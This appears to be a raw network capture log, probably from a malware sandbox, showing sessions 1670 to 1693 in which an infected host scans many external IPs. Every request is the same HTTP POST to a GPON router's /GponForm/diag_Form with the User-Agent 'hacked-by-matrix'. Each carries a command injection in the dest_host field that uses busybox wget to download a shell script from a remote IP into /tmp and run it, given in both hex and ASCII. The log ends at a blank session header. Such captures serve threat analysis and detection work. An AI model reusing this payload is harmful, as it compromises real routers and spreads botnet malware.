Mar 21, 2024 05:27:02.416935921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1670	192.168.2.23	50624	210.212.128.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416937113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1671	192.168.2.23	48318	109.61.213.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416951895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1672	192.168.2.23	51126	94.183.30.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416960001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1673	192.168.2.23	60740	118.64.250.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416980982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1674	192.168.2.23	38058	79.46.29.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416981936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1675	192.168.2.23	40246	109.72.217.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416991949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1676	192.168.2.23	60280	212.79.208.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417001963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1677	192.168.2.23	42394	5.130.23.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417017937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1678	192.168.2.23	45960	79.68.153.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417040110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1679	192.168.2.23	42246	94.128.44.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417042017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1680	192.168.2.23	57980	118.58.62.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417048931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1681	192.168.2.23	33352	109.161.4.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417062998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1682	192.168.2.23	44248	37.216.146.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417064905 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1683	192.168.2.23	60826	79.149.52.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417084932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1684	192.168.2.23	59010	79.53.111.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417115927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1685	192.168.2.23	53854	37.153.174.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417115927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1686	192.168.2.23	45284	94.95.227.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417117119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1687	192.168.2.23	47214	212.213.25.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417115927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1688	192.168.2.23	44210	210.67.163.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417123079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1689	192.168.2.23	35998	37.225.235.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417145967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1690	192.168.2.23	40642	42.66.205.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417146921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1691	192.168.2.23	48898	37.26.126.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417167902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1692	192.168.2.23	57020	42.215.208.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.417167902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1693	192.168.2.23	54088	42.95.172.86	443

Timestamp	Bytes transferred	Direction	Data
